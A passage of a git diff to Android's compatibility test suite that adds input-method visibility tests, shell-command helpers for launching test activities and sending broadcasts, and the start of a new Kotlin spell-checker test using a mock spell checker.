+            if (mode == TestSoftInputMode.HIDDEN_WITH_FORWARD_NAV) {
+                // Start new TestActivity on the same task with STATE_HIDDEN softInputMode.
+                final String markerForActivity2 = getTestMarker();
+                TestActivity.startSameTaskAndClearTopSync(activity -> {
+                    final LinearLayout layout = new LinearLayout(activity);
+                    final EditText editText = new EditText(activity);
+                    editText.setHint("focused editText");
+                    editText.setPrivateImeOptions(markerForActivity2);
+                    editText.requestFocus();
+                    layout.addView(editText);
+                    activity.getWindow().setSoftInputMode(SOFT_INPUT_STATE_HIDDEN);
+                    return layout;
+                });
+                expectEvent(stream, editorMatcher("onStartInput", markerForActivity2), TIMEOUT);
+            } else {
+                // Press back key to back to the first test activity
+                instrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_BACK);
+                expectEvent(stream, editorMatcher("onStartInput", markerForActivity1), TIMEOUT);
+            }
+
+            // Expect the IME visibility according to expectImeVisible
+            // The expected result could be:
+            //  1) The system can restore the IME visibility to show IME up when navigated back to
+            //     the original app task, even the IME is hidden when switching to the next task.
+            //  2) The system won't restore the IME visibility in some softInputMode cases.
+            if (expectImeVisible) {
+                expectImeVisible(TIMEOUT);
+            } else {
+                expectImeInvisible(TIMEOUT);
+            }
+        }
+    }
+
+    private void runImeVisibilityWhenImeTransitionBetweenActivities(boolean instant)
+            throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder()
+                        .setInputViewHeight(NEW_KEYBOARD_HEIGHT)
+                        .setDrawsBehindNavBar(true))) {
+            final ImeEventStream stream = imeSession.openEventStream();
+            final String marker = getTestMarker();
+
+            AtomicReference<EditText> editTextRef = new AtomicReference<>();
+            // Launch test activity with focusing editor
+            final TestActivity testActivity =
+                    TestActivity.startSync(activity -> {
+                        final LinearLayout layout = new LinearLayout(activity);
+                        layout.setOrientation(LinearLayout.VERTICAL);
+                        layout.setGravity(Gravity.BOTTOM);
+                        final EditText editText = new EditText(activity);
+                        editTextRef.set(editText);
+                        editText.setHint("focused editText");
+                        editText.setPrivateImeOptions(marker);
+                        editText.requestFocus();
+                        layout.addView(editText);
+                        activity.getWindow().getDecorView().setFitsSystemWindows(true);
+                        activity.getWindow().getDecorView().getWindowInsetsController().show(ime());
+                        return layout;
+                    });
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+            expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
+                    View.VISIBLE, TIMEOUT);
+            expectImeVisible(TIMEOUT);
+
+            // Launcher another test activity from another process with popup dialog.
+            launchRemoteActivitySync(TEST_ACTIVITY, instant, TIMEOUT,
+                    Map.of(EXTRA_KEY_SHOW_DIALOG, "true"));
+            // Dismiss dialog and back to original test activity
+            triggerActionWithBroadcast(ACTION_TRIGGER, TEST_ACTIVITY.getPackageName(),
+                    EXTRA_DISMISS_DIALOG);
+
+            // Verify keyboard visibility should aligned with IME insets visibility.
+            TestUtils.waitOnMainUntil(
+                    () -> testActivity.getWindow().getDecorView().getVisibility() == VISIBLE
+                            && testActivity.getWindow().getDecorView().hasWindowFocus(), TIMEOUT);
+
+            AtomicReference<Boolean> imeInsetsVisible = new AtomicReference<>();
+            TestUtils.runOnMainSync(() ->
+                    imeInsetsVisible.set(editTextRef.get().getRootWindowInsets().isVisible(ime())));
+
+            if (imeInsetsVisible.get()) {
+                expectImeVisible(TIMEOUT);
+            } else {
+                expectImeInvisible(TIMEOUT);
+            }
+        }
+    }
+
+    private void runImeVisibilityTestWhenForceStopPackage(boolean instant) throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+            final String marker = getTestMarker();
+
+            // Make sure that MockIme isn't shown in the initial state.
+            final ImeLayoutInfo lastLayout =
+                    waitForInputViewLayoutStable(stream, LAYOUT_STABLE_THRESHOLD);
+            assertNull(lastLayout);
+            expectImeInvisible(TIMEOUT);
+            // Flush all the events happened before launching the test Activity.
+            stream.skipAll();
+
+            // Launch test activity with focusing an editor from remote process and expect the
+            // IME is visible.
+            try (AutoCloseable closable = launchRemoteActivitySync(TEST_ACTIVITY, instant, TIMEOUT,
+                    Map.of(EXTRA_KEY_PRIVATE_IME_OPTIONS, marker))) {
+                expectEvent(stream, editorMatcher("onStartInput", marker), START_INPUT_TIMEOUT);
+                expectImeInvisible(TIMEOUT);
+
+                // Request showSoftInput, expect the request is valid and soft-keyboard visible.
+                triggerActionWithBroadcast(ACTION_TRIGGER, TEST_ACTIVITY.getPackageName(),
+                        EXTRA_SHOW_SOFT_INPUT);
+                expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+                expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+                expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
+                        View.VISIBLE, TIMEOUT);
+                expectImeVisible(TIMEOUT);
+
+                // Force stop test app package, and then expect IME should be invisible after the
+                // remote process stopped by forceStopPackage.
+                TestUtils.forceStopPackage(TEST_ACTIVITY.getPackageName());
+                expectEvent(stream, onFinishInputViewMatcher(false), TIMEOUT);
+                expectImeInvisible(TIMEOUT);
+            }
+        }
+    }
+
+    private AutoCloseable launchRemoteActivitySync(ComponentName componentName, boolean instant,
+             long timeout, Map<String, String> extras) {
+        final StringBuilder commandBuilder = new StringBuilder();
+        if (instant) {
+            // Override app-links domain verification.
+            runShellCommand(
+                    String.format("pm set-app-links-user-selection --user cur --package %s true %s",
+                            componentName.getPackageName(), TEST_ACTIVITY_URI.getHost()));
+            final Uri uri = formatStringIntentParam(TEST_ACTIVITY_URI, extras);
+            commandBuilder.append(String.format("am start -a %s -c %s %s",
+                    Intent.ACTION_VIEW, Intent.CATEGORY_BROWSABLE, uri.toString()));
+        } else {
+            commandBuilder.append("am start -n ").append(componentName.flattenToShortString());
+            if (extras != null) {
+                extras.forEach((key, value) -> commandBuilder.append(" --es ")
+                        .append(key).append(" ").append(value));
+            }
+        }
+
+        runWithShellPermissionIdentity(() -> {
+            runShellCommand(commandBuilder.toString());
+        });
+        UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        BySelector activitySelector = By.pkg(componentName.getPackageName()).depth(0);
+        uiDevice.wait(Until.hasObject(activitySelector), timeout);
+
+        // Make sure to stop package after test finished for resource reclaim.
+        return () -> TestUtils.forceStopPackage(componentName.getPackageName());
+    }
+
+    @NonNull
+    private static Uri formatStringIntentParam(@NonNull Uri uri, Map<String, String> extras) {
+        if (extras == null) {
+            return uri;
+        }
+        final Uri.Builder builder = uri.buildUpon();
+        extras.forEach(builder::appendQueryParameter);
+        return builder.build();
+    }
+
+    private void triggerActionWithBroadcast(String action, String receiverPackage, String extra) {
+        final StringBuilder commandBuilder = new StringBuilder();
+        commandBuilder.append("am broadcast -a ").append(action).append(" -p ").append(
+                receiverPackage);
+        commandBuilder.append(" -f 0x").append(
+                Integer.toHexString(FLAG_RECEIVER_VISIBLE_TO_INSTANT_APPS));
+        commandBuilder.append(" --ez " + extra + " true");
+        runWithShellPermissionIdentity(() -> {
+            runShellCommand(commandBuilder.toString());
+        });
+    }
+
     private static ImeSettings.Builder getFloatingImeSettings(@ColorInt int navigationBarColor) {
         final ImeSettings.Builder builder = new ImeSettings.Builder();
         builder.setWindowFlags(0, FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java
index 7705c63..afc41e6 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java
@@ -34,6 +34,7 @@
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
 import android.view.inputmethod.cts.util.EndToEndImeTestBase;
+import android.view.inputmethod.cts.util.TestUtils;
 import android.view.inputmethod.cts.util.UnlockScreenRule;
 
 import androidx.annotation.NonNull;
@@ -118,10 +119,14 @@
      *                          in the test {@link android.app.Activity} will be set to this value.
      * @param timeout timeout in milliseconds.
      */
-    private void launchTestActivity(boolean instant, @Nullable String privateImeOptions,
+    private AutoCloseable launchTestActivity(boolean instant, @Nullable String privateImeOptions,
             long timeout) {
         final String command;
         if (instant) {
+            // Override app-links domain verification.
+            runShellCommand(
+                    String.format("pm set-app-links-user-selection --user cur --package %s true %s",
+                            TEST_ACTIVITY.getPackageName(), TEST_ACTIVITY_URI.getHost()));
             final Uri uri = formatStringIntentParam(
                     TEST_ACTIVITY_URI, EXTRA_KEY_PRIVATE_IME_OPTIONS, privateImeOptions);
             command = String.format("am start -a %s -c %s %s",
@@ -134,6 +139,9 @@
         runShellCommand(command);
         UiDevice.getInstance(InstrumentationRegistry.getInstrumentation())
                 .wait(Until.hasObject(By.pkg(TEST_ACTIVITY.getPackageName()).depth(0)), timeout);
+
+        // Make sure to stop package after test finished for resource reclaim.
+        return () -> TestUtils.forceStopPackage(TEST_ACTIVITY.getPackageName());
     }
 
     @AppModeFull
@@ -161,23 +169,23 @@
             final ImeEventStream stream = imeSession.openEventStream();
 
             final String marker = getTestMarker();
-            launchTestActivity(instant, marker, TIMEOUT);
+            try (AutoCloseable closeable = launchTestActivity(instant, marker, TIMEOUT)) {
+                expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
 
-            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+                final ImeCommand command = imeSession.callGetApplicationInfo(
+                        TEST_ACTIVITY.getPackageName(), PackageManager.GET_META_DATA);
+                final ImeEvent event = expectCommand(stream, command, TIMEOUT);
 
-            final ImeCommand command = imeSession.callGetApplicationInfo(
-                    TEST_ACTIVITY.getPackageName(), PackageManager.GET_META_DATA);
-            final ImeEvent event = expectCommand(stream, command, TIMEOUT);
-
-            if (event.isNullReturnValue()) {
-                fail("getApplicationInfo() returned null.");
+                if (event.isNullReturnValue()) {
+                    fail("getApplicationInfo() returned null.");
+                }
+                if (event.isExceptionReturnValue()) {
+                    final Exception exception = event.getReturnExceptionValue();
+                    fail(exception.toString());
+                }
+                final ApplicationInfo applicationInfoFromIme = event.getReturnParcelableValue();
+                assertEquals(TEST_ACTIVITY.getPackageName(), applicationInfoFromIme.packageName);
             }
-            if (event.isExceptionReturnValue()) {
-                final Exception exception = event.getReturnExceptionValue();
-                fail(exception.toString());
-            }
-            final ApplicationInfo applicationInfoFromIme = event.getReturnParcelableValue();
-            assertEquals(TEST_ACTIVITY.getPackageName(), applicationInfoFromIme.packageName);
         }
     }
 }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt b/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
new file mode 100644
index 0000000..ba5e6e3
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
@@ -0,0 +1,586 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.view.inputmethod.cts
+
+import android.app.Instrumentation
+import android.app.UiAutomation
+import android.content.Context
+import android.os.Looper
+import android.provider.Settings
+import android.text.style.SuggestionSpan
+import android.text.style.SuggestionSpan.FLAG_GRAMMAR_ERROR
+import android.text.style.SuggestionSpan.FLAG_MISSPELLED
+import android.text.style.SuggestionSpan.SUGGESTIONS_MAX_SIZE
+import android.view.ViewGroup.LayoutParams.MATCH_PARENT
+import android.view.ViewGroup.LayoutParams.WRAP_CONTENT
+import android.view.inputmethod.InputMethodInfo
+import android.view.inputmethod.InputMethodManager
+import android.view.inputmethod.cts.util.EndToEndImeTestBase
+import android.view.inputmethod.cts.util.InputMethodVisibilityVerifier
+import android.view.inputmethod.cts.util.TestActivity
+import android.view.inputmethod.cts.util.TestUtils.runOnMainSync
+import android.view.inputmethod.cts.util.TestUtils.waitOnMainUntil
+import android.view.inputmethod.cts.util.UnlockScreenRule
+import android.view.textservice.SentenceSuggestionsInfo
+import android.view.textservice.SpellCheckerSession
+import android.view.textservice.SpellCheckerSubtype
+import android.view.textservice.SuggestionsInfo
+import android.view.textservice.SuggestionsInfo.RESULT_ATTR_DONT_SHOW_UI_FOR_SUGGESTIONS
+import android.view.textservice.SuggestionsInfo.RESULT_ATTR_IN_THE_DICTIONARY
+import android.view.textservice.SuggestionsInfo.RESULT_ATTR_LOOKS_LIKE_GRAMMAR_ERROR
+import android.view.textservice.SuggestionsInfo.RESULT_ATTR_LOOKS_LIKE_TYPO
+import android.view.textservice.TextInfo
+import android.view.textservice.TextServicesManager
+import android.widget.EditText
+import android.widget.LinearLayout
+import androidx.annotation.UiThread
+import androidx.test.filters.MediumTest
+import androidx.test.platform.app.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
+import androidx.test.uiautomator.By
+import androidx.test.uiautomator.UiDevice
+import androidx.test.uiautomator.Until
+import com.android.compatibility.common.util.CtsTouchUtils
+import com.android.compatibility.common.util.PollingCheck
+import com.android.compatibility.common.util.SettingsStateChangerRule
+import com.android.compatibility.common.util.SystemUtil
+import com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand
+import com.android.cts.mockime.MockImeSession
+import com.android.cts.mockspellchecker.MockSpellChecker
+import com.android.cts.mockspellchecker.MockSpellCheckerClient
+import com.android.cts.mockspellchecker.MockSpellCheckerProto
+import com.android.cts.mockspellchecker.MockSpellCheckerProto.MockSpellCheckerConfiguration
+import com.google.common.truth.Truth.assertThat
+import org.junit.Assert.fail
+import org.junit.Assume
+import org.junit.Before
+import org.junit.Rule
+import org.junit.Test
+import org.junit.runner.RunWith
+import java.util.Locale
+import java.util.concurrent.Executor
+import java.util.concurrent.TimeUnit
+import kotlin.collections.ArrayList
+
+@MediumTest
+@RunWith(AndroidJUnit4::class)
+class SpellCheckerTest : EndToEndImeTestBase() {
+
+    private val TAG = "SpellCheckerTest"
+    private val SPELL_CHECKING_IME_ID = "com.android.cts.spellcheckingime/.SpellCheckingIme"
+    private val TIMEOUT = TimeUnit.SECONDS.toMillis(5)
+
+    private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+    private val context: Context = instrumentation.getTargetContext()
+    private val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
+    private val uiAutomation: UiAutomation = instrumentation.uiAutomation
+
+    @Rule
+    fun unlockScreenRule() = UnlockScreenRule()
+
+    @Rule
+    fun spellCheckerSettingsRule() = SettingsStateChangerRule(
+            context, Settings.Secure.SELECTED_SPELL_CHECKER, MockSpellChecker.getId())
+
+    @Rule
+    fun spellCheckerSubtypeSettingsRule() = SettingsStateChangerRule(
+            context, Settings.Secure.SELECTED_SPELL_CHECKER_SUBTYPE,
+            SpellCheckerSubtype.SUBTYPE_ID_NONE.toString())
+
+    @Before
+    fun setUp() {
+        val tsm = context.getSystemService(TextServicesManager::class.java)!!
+        // Skip if spell checker is not enabled by default.
+        Assume.assumeNotNull(tsm)
+        Assume.assumeTrue(tsm.isSpellCheckerEnabled)
+    }
+
+    @Test
+    fun misspelled_easyCorrect() {
+        val uniqueSuggestion = "s618397" // "s" + a random number
+        val configuration = MockSpellCheckerConfiguration.newBuilder()
+                .addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("match")
+                                .addSuggestions(uniqueSuggestion)
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO)
+                ).build()
+        MockImeSession.create(context).use { session ->
+            MockSpellCheckerClient.create(context, configuration).use {
+                val (_, editText) = startTestActivity()
+                CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+                waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+                InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
+                session.callCommitText("match", 1)
+                session.callCommitText(" ", 1)
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) != null
+                }, TIMEOUT)
+                // Tap inside 'match'.
+                emulateTapAtOffset(editText, 2)
+                // Wait until the cursor moves inside 'match'.
+                waitOnMainUntil({ isCursorInside(editText, 1, 4) }, TIMEOUT)
+                // Wait for the suggestion to come up, and click it.
+                uiDevice.wait(Until.findObject(By.text(uniqueSuggestion)), TIMEOUT).also {
+                    assertThat(it).isNotNull()
+                }.click()
+                // Verify that the text ('match') is replaced with the suggestion.
+                waitOnMainUntil({ "$uniqueSuggestion " == editText.text.toString() }, TIMEOUT)
+                // The SuggestionSpan should be removed.
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) == null
+                }, TIMEOUT)
+            }
+        }
+    }
+
+    @Test
+    fun misspelled_noEasyCorrect() {
+        val uniqueSuggestion = "s974355" // "s" + a random number
+        val configuration = MockSpellCheckerConfiguration.newBuilder()
+                .addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("match")
+                                .addSuggestions(uniqueSuggestion)
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO
+                                        or RESULT_ATTR_DONT_SHOW_UI_FOR_SUGGESTIONS)
+                ).build()
+        MockImeSession.create(context).use { session ->
+            MockSpellCheckerClient.create(context, configuration).use {
+                val (_, editText) = startTestActivity()
+                CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+                waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+                InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
+                session.callCommitText("match", 1)
+                session.callCommitText(" ", 1)
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) != null
+                }, TIMEOUT)
+                // Tap inside 'match'.
+                emulateTapAtOffset(editText, 2)
+                // Wait until the cursor moves inside 'match'.
+                waitOnMainUntil({ isCursorInside(editText, 1, 4) }, TIMEOUT)
+                // Verify that the suggestion is not shown.
+                assertThat(uiDevice.wait(Until.gone(By.text(uniqueSuggestion)), TIMEOUT)).isTrue()
+            }
+        }
+    }
+
+    @Test
+    fun grammarError() {
+        val configuration = MockSpellCheckerConfiguration.newBuilder()
+                .addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("match")
+                                .addSuggestions("suggestion")
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_GRAMMAR_ERROR)
+        ).build()
+        MockImeSession.create(context).use { session ->
+            MockSpellCheckerClient.create(context, configuration).use {
+                val (_, editText) = startTestActivity()
+                CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+                waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+                InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
+                session.callCommitText("match", 1)
+                session.callCommitText(" ", 1)
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_GRAMMAR_ERROR) != null
+                }, TIMEOUT)
+            }
+        }
+    }
+
+    @Test
+    fun performSpellCheck() {
+        val configuration = MockSpellCheckerConfiguration.newBuilder()
+                .addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("match")
+                                .addSuggestions("suggestion")
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO)
+                ).build()
+        MockImeSession.create(context).use { session ->
+            MockSpellCheckerClient.create(context, configuration).use { client ->
+                val stream = session.openEventStream()
+                val (_, editText) = startTestActivity()
+                CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+                waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+                InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
+                session.callCommitText("match", 1)
+                session.callCommitText(" ", 1)
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) != null
+                }, TIMEOUT)
+                // The word is now in dictionary. The next spell check should remove the misspelled
+                // SuggestionSpan.
+                client.updateConfiguration(MockSpellCheckerConfiguration.newBuilder()
+                        .addSuggestionRules(
+                                MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                        .setMatch("match")
+                                        .setAttributes(RESULT_ATTR_IN_THE_DICTIONARY)
+                        ).build())
+                val command = session.callPerformSpellCheck()
+                expectCommand(stream, command, TIMEOUT)
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) == null
+                }, TIMEOUT)
+            }
+        }
+    }
+
+    @Test
+    fun textServicesManagerApi() {
+        val tsm = context.getSystemService(TextServicesManager::class.java)!!
+        assertThat(tsm).isNotNull()
+        assertThat(tsm!!.isSpellCheckerEnabled()).isTrue()
+        val spellCheckerInfo = tsm.getCurrentSpellCheckerInfo()
+        assertThat(spellCheckerInfo).isNotNull()
+        assertThat(spellCheckerInfo!!.getPackageName()).isEqualTo(
+                "com.android.cts.mockspellchecker")
+        assertThat(spellCheckerInfo!!.getSubtypeCount()).isEqualTo(1)
+        assertThat(tsm.getEnabledSpellCheckerInfos()!!.size).isAtLeast(1)
+        assertThat(tsm.getEnabledSpellCheckerInfos()!!.map { it.getPackageName() })
+                .contains("com.android.cts.mockspellchecker")
+    }
+
+    @Test
+    fun newSpellCheckerSession() {
+        val configuration = MockSpellCheckerConfiguration.newBuilder()
+                .addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("match")
+                                .addSuggestions("suggestion")
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO)
+                ).build()
+        MockSpellCheckerClient.create(context, configuration).use {
+            val tsm = context.getSystemService(TextServicesManager::class.java)
+            assertThat(tsm).isNotNull()
+            val fakeListener = FakeSpellCheckerSessionListener()
+            val fakeExecutor = FakeExecutor()
+            var session: SpellCheckerSession? = tsm?.newSpellCheckerSession(Locale.US, false,
+                    RESULT_ATTR_LOOKS_LIKE_TYPO, null, fakeExecutor, fakeListener)
+            assertThat(session).isNotNull()
+            session?.getSentenceSuggestions(arrayOf(TextInfo("match")), 5)
+            waitOnMainUntil({ fakeExecutor.runnables.size == 1 }, TIMEOUT)
+            fakeExecutor.runnables[0].run()
+
+            assertThat(fakeListener.getSentenceSuggestionsResults).hasSize(1)
+            assertThat(fakeListener.getSentenceSuggestionsResults[0]).hasLength(1)
+            val sentenceSuggestionsInfo = fakeListener.getSentenceSuggestionsResults[0]!![0]
+            assertThat(sentenceSuggestionsInfo.suggestionsCount).isEqualTo(1)
+            assertThat(sentenceSuggestionsInfo.getOffsetAt(0)).isEqualTo(0)
+            assertThat(sentenceSuggestionsInfo.getLengthAt(0)).isEqualTo("match".length)
+            val suggestionsInfo = sentenceSuggestionsInfo.getSuggestionsInfoAt(0)
+            assertThat(suggestionsInfo.suggestionsCount).isEqualTo(1)
+            assertThat(suggestionsInfo.getSuggestionAt(0)).isEqualTo("suggestion")
+
+            assertThat(fakeListener.getSentenceSuggestionsResults).hasSize(1)
+            assertThat(fakeListener.getSentenceSuggestionsCallingThreads).hasSize(1)
+            assertThat(fakeListener.getSentenceSuggestionsCallingThreads[0])
+                    .isEqualTo(Thread.currentThread())
+        }
+    }
+
+    @Test
+    fun newSpellCheckerSession_implicitExecutor() {
+        val configuration = MockSpellCheckerConfiguration.newBuilder()
+                .addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("match")
+                                .addSuggestions("suggestion")
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO)
+                ).build()
+        MockSpellCheckerClient.create(context, configuration).use {
+            val tsm = context.getSystemService(TextServicesManager::class.java)
+            assertThat(tsm).isNotNull()
+            val fakeListener = FakeSpellCheckerSessionListener()
+            var session: SpellCheckerSession? = null
+            runOnMainSync {
+                session = tsm?.newSpellCheckerSession(null /* bundle */, Locale.US,
+                        fakeListener, false /* referToSpellCheckerLanguageSettings */)
+            }
+            assertThat(session).isNotNull()
+            session?.getSentenceSuggestions(arrayOf(TextInfo("match")), 5)
+            waitOnMainUntil({
+                fakeListener.getSentenceSuggestionsCallingThreads.size > 0
+            }, TIMEOUT)
+            runOnMainSync {
+                assertThat(fakeListener.getSentenceSuggestionsCallingThreads).hasSize(1)
+                assertThat(fakeListener.getSentenceSuggestionsCallingThreads[0])
+                        .isEqualTo(Looper.getMainLooper().thread)
+            }
+        }
+    }
+
+    @Test
+    fun suppressesSpellChecker() {
+        val configuration = MockSpellCheckerConfiguration.newBuilder()
+                .addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("match")
+                                .addSuggestions("suggestion")
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO)
+                ).build()
+        // SpellCheckingIme should have android:suppressesSpellChecker="true"
+        ImeSession(SPELL_CHECKING_IME_ID).use {
+            assertThat(getCurrentInputMethodInfo().suppressesSpellChecker()).isTrue()
+
+            MockSpellCheckerClient.create(context, configuration).use {
+                val (activity, editText) = startTestActivity()
+                CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+                waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+                val imm = activity.getSystemService(InputMethodManager::class.java)
+                assertThat(imm?.isInputMethodSuppressingSpellChecker).isTrue()
+
+                // SpellCheckerSession should return empty results if suppressed.
+                val tsm = activity.getSystemService(TextServicesManager::class.java)
+                val listener = FakeSpellCheckerSessionListener()
+                var session: SpellCheckerSession? = null
+                runOnMainSync {
+                    session = tsm?.newSpellCheckerSession(null, Locale.US, listener, false)
+                }
+                assertThat(session).isNotNull()
+                val suggestions: Array<SentenceSuggestionsInfo>? =
+                        getSentenceSuggestions(session!!, listener, "match")
+                assertThat(suggestions).isNotNull()
+                assertThat(suggestions!!.size).isEqualTo(0)
+            }
+        }
+    }
+
+    @Test
+    fun suppressesSpellChecker_false() {
+        MockImeSession.create(context).use {
+            assertThat(getCurrentInputMethodInfo().suppressesSpellChecker()).isFalse()
+
+            val (activity, editText) = startTestActivity()
+            CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+            waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+            val imm = activity.getSystemService(InputMethodManager::class.java)
+            assertThat(imm?.isInputMethodSuppressingSpellChecker).isFalse()
+        }
+    }
+
+    @Test
+    fun trailingPunctuation() {
+        // Set up a rule that matches the sentence "match?" and marks it as grammar error.
+        val configuration = MockSpellCheckerConfiguration.newBuilder()
+                .setMatchSentence(true)
+                .addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("match?")
+                                .addSuggestions("suggestion.")
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_GRAMMAR_ERROR)
+                ).build()
+        MockImeSession.create(context).use { session ->
+            MockSpellCheckerClient.create(context, configuration).use { client ->
+                val (_, editText) = startTestActivity()
+                CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+                waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+                InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
+                session.callCommitText("match", 1)
+                // The trailing punctuation "?" is also sent in the next spell check, and the
+                // sentence "match?" will be marked as FLAG_GRAMMAR_ERROR according to the
+                // configuration.
+                session.callCommitText("?", 1)
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_GRAMMAR_ERROR) != null
+                }, TIMEOUT)
+            }
+        }
+    }
+
+    @Test
+    fun respectSentenceBoundary() {
+        // Set up two rules:
+        // - Matches the sentence "Preceding text?" and marks it as grammar error.
+        // - Matches the sentence "match?" and marks it as misspelled.
+        val configuration = MockSpellCheckerConfiguration.newBuilder()
+                .setMatchSentence(true)
+                .addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("Preceding text?")
+                                .addSuggestions("suggestion.")
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_GRAMMAR_ERROR)
+                ).addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("match?")
+                                .addSuggestions("suggestion.")
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO)
+                ).build()
+        MockImeSession.create(context).use { session ->
+            MockSpellCheckerClient.create(context, configuration).use { client ->
+                val (_, editText) = startTestActivity()
+                CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+                waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+                InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
+                session.callCommitText("Preceding text", 1)
+                session.callCommitText("?", 1)
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_GRAMMAR_ERROR) != null
+                }, TIMEOUT)
+                // The next spell check only contains the text after "Preceding text?". According
+                // to our configuration, the sentence "match?" will be marked as FLAG_MISSPELLED.
+                session.callCommitText("match", 1)
+                session.callCommitText("?", 1)
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) != null
+                }, TIMEOUT)
+            }
+        }
+    }
+
+    @Test
